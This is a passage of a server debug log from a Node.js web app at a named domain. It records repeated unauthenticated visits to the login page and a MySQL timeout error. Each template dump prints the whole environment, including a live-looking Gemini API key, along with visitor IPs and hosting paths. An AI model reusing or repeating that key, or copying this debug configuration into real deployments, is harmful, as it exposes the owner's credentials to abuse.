    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1.2 Safari/605.1.15',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_LANGUAGE: '*',
    'HTTP_SEC_FETCH-MODE': 'cors',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    'HTTP_X_FORWARDED-FOR': '195.201.168.79',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2025-12-16T18:47:04.814Z server-connect:router Serving templateView /login
2025-12-16T18:47:04.814Z server-connect:app Executing action step identify
2025-12-16T18:47:04.814Z server-connect:app options: { provider: 'security' }
2025-12-16T18:47:04.814Z server-connect:auth No login cookie found
2025-12-16T18:47:04.814Z server-connect:output identity: false
2025-12-16T18:47:04.814Z server-connect:router Render template layouts/authentication
2025-12-16T18:47:04.814Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9',
    priority: 'u=0, i',
    'x-forwarded-for': '195.201.111.82',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-17T18:47:04.814Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '195.201.111.82',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9',
    HTTP_PRIORITY: 'u=0, i',
    'HTTP_X_FORWARDED-FOR': '195.201.111.82',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2025-12-16T19:21:51.431Z server-connect:router Serving templateView /
2025-12-16T19:21:51.432Z server-connect:app Executing action step identify
2025-12-16T19:21:51.432Z server-connect:app options: { provider: 'security' }
2025-12-16T19:21:51.432Z server-connect:auth No login cookie found
2025-12-16T19:21:51.432Z server-connect:output identity: false
2025-12-16T19:21:51.432Z server-connect:app Executing action step restrict
2025-12-16T19:21:51.432Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-16T19:21:51.432Z server-connect:output restrict: undefined
2025-12-16T19:21:51.694Z server-connect:router Serving templateView /login
2025-12-16T19:21:51.694Z server-connect:app Executing action step identify
2025-12-16T19:21:51.694Z server-connect:app options: { provider: 'security' }
2025-12-16T19:21:51.695Z server-connect:auth No login cookie found
2025-12-16T19:21:51.695Z server-connect:output identity: false
2025-12-16T19:21:51.695Z server-connect:router Render template layouts/authentication
2025-12-16T19:21:51.695Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (X11; Linux i686; rv:109.0) Gecko/20100101 Firefox/120.0',
    'accept-encoding': 'gzip',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    connection: 'keep-alive',
    'accept-language': 'en-US,en;q=0.5',
    'cache-control': 'max-age=0',
    'upgrade-insecure-requests': '1',
    'x-forwarded-for': '23.27.145.224',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-17T19:21:51.694Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '23.27.145.224',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux i686; rv:109.0) Gecko/20100101 Firefox/120.0',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    'HTTP_X_FORWARDED-FOR': '23.27.145.224',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2025-12-16T19:22:27.806Z server-connect:router Serving templateView /
2025-12-16T19:22:27.807Z server-connect:app Executing action step identify
2025-12-16T19:22:27.807Z server-connect:app options: { provider: 'security' }
2025-12-16T19:22:27.807Z server-connect:auth No login cookie found
2025-12-16T19:22:27.807Z server-connect:output identity: false
2025-12-16T19:22:27.807Z server-connect:app Executing action step restrict
2025-12-16T19:22:27.807Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-16T19:22:27.807Z server-connect:output restrict: undefined
2025-12-16T19:22:28.054Z server-connect:router Serving templateView /login
2025-12-16T19:22:28.054Z server-connect:app Executing action step identify
2025-12-16T19:22:28.054Z server-connect:app options: { provider: 'security' }
2025-12-16T19:22:28.054Z server-connect:auth No login cookie found
2025-12-16T19:22:28.054Z server-connect:output identity: false
2025-12-16T19:22:28.054Z server-connect:router Render template layouts/authentication
2025-12-16T19:22:28.054Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (X11; Linux i686; rv:109.0) Gecko/20100101 Firefox/120.0',
    'accept-encoding': 'gzip',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    connection: 'keep-alive',
    'accept-language': 'en-US,en;q=0.5',
    'cache-control': 'max-age=0',
    'upgrade-insecure-requests': '1',
    'x-forwarded-for': '23.27.145.70',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-17T19:22:28.052Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '23.27.145.70',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux i686; rv:109.0) Gecko/20100101 Firefox/120.0',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    'HTTP_X_FORWARDED-FOR': '23.27.145.70',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2025-12-16T21:41:17.429Z server-connect:router Serving templateView /
2025-12-16T21:41:17.430Z server-connect:app Executing action step identify
2025-12-16T21:41:17.430Z server-connect:app options: { provider: 'security' }
2025-12-16T21:41:17.430Z server-connect:auth No login cookie found
2025-12-16T21:41:17.430Z server-connect:output identity: false
2025-12-16T21:41:17.430Z server-connect:app Executing action step restrict
2025-12-16T21:41:17.430Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-16T21:41:17.431Z server-connect:output restrict: undefined
2025-12-16T21:41:17.848Z server-connect:router Serving templateView /login
2025-12-16T21:41:17.848Z server-connect:app Executing action step identify
2025-12-16T21:41:17.848Z server-connect:app options: { provider: 'security' }
2025-12-16T21:41:17.849Z server-connect:auth No login cookie found
2025-12-16T21:41:17.849Z server-connect:output identity: false
2025-12-16T21:41:17.849Z server-connect:router Render template layouts/authentication
2025-12-16T21:41:17.849Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (X11; Linux i686; rv:109.0) Gecko/20100101 Firefox/120.0',
    'accept-encoding': 'gzip',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    connection: 'keep-alive',
    'accept-language': 'en-US,en;q=0.5',
    'cache-control': 'max-age=0',
    'upgrade-insecure-requests': '1',
    'x-forwarded-for': '23.27.145.91',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-17T21:41:17.848Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '23.27.145.91',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux i686; rv:109.0) Gecko/20100101 Firefox/120.0',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    'HTTP_X_FORWARDED-FOR': '23.27.145.91',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2025-12-16T21:58:23.991Z server-connect:router Serving templateView /
2025-12-16T21:58:23.991Z server-connect:app Executing action step identify
2025-12-16T21:58:23.991Z server-connect:app options: { provider: 'security' }
2025-12-16T21:58:23.991Z server-connect:auth No login cookie found
2025-12-16T21:58:23.991Z server-connect:output identity: false
2025-12-16T21:58:23.991Z server-connect:app Executing action step restrict
2025-12-16T21:58:23.991Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-16T21:58:23.991Z server-connect:output restrict: undefined
2025-12-16T21:58:24.237Z server-connect:router Serving templateView /login
2025-12-16T21:58:24.238Z server-connect:app Executing action step identify
2025-12-16T21:58:24.238Z server-connect:app options: { provider: 'security' }
2025-12-16T21:58:24.238Z server-connect:auth No login cookie found
2025-12-16T21:58:24.238Z server-connect:output identity: false
2025-12-16T21:58:24.238Z server-connect:router Render template layouts/authentication
2025-12-16T21:58:24.238Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (X11; Linux i686; rv:109.0) Gecko/20100101 Firefox/120.0',
    'accept-encoding': 'gzip',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    connection: 'keep-alive',
    'accept-language': 'en-US,en;q=0.5',
    'cache-control': 'max-age=0',
    'upgrade-insecure-requests': '1',
    'x-forwarded-for': '23.27.145.36',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-17T21:58:24.237Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '23.27.145.36',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux i686; rv:109.0) Gecko/20100101 Firefox/120.0',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    'HTTP_X_FORWARDED-FOR': '23.27.145.36',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2025-12-16T22:10:25.669Z server-connect:router Serving templateView /
2025-12-16T22:10:25.669Z server-connect:app Executing action step identify
2025-12-16T22:10:25.669Z server-connect:app options: { provider: 'security' }
2025-12-16T22:10:25.670Z server-connect:auth No login cookie found
2025-12-16T22:10:25.670Z server-connect:output identity: false
2025-12-16T22:10:25.670Z server-connect:app Executing action step restrict
2025-12-16T22:10:25.670Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-16T22:10:25.670Z server-connect:output restrict: undefined
2025-12-16T22:10:25.784Z server-connect:router Serving templateView /login
2025-12-16T22:10:25.785Z server-connect:app Executing action step identify
2025-12-16T22:10:25.785Z server-connect:app options: { provider: 'security' }
2025-12-16T22:10:25.785Z server-connect:auth No login cookie found
2025-12-16T22:10:25.785Z server-connect:output identity: false
2025-12-16T22:10:25.785Z server-connect:router Render template layouts/authentication
2025-12-16T22:10:25.785Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (X11; Linux i686; rv:109.0) Gecko/20100101 Firefox/120.0',
    'accept-encoding': 'gzip',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    connection: 'keep-alive',
    'accept-language': 'en-US,en;q=0.5',
    'cache-control': 'max-age=0',
    'upgrade-insecure-requests': '1',
    'x-forwarded-for': '149.57.180.187',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-17T22:10:25.784Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '149.57.180.187',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux i686; rv:109.0) Gecko/20100101 Firefox/120.0',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    'HTTP_X_FORWARDED-FOR': '149.57.180.187',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-16 22:26:36' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-16 22:26:36' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
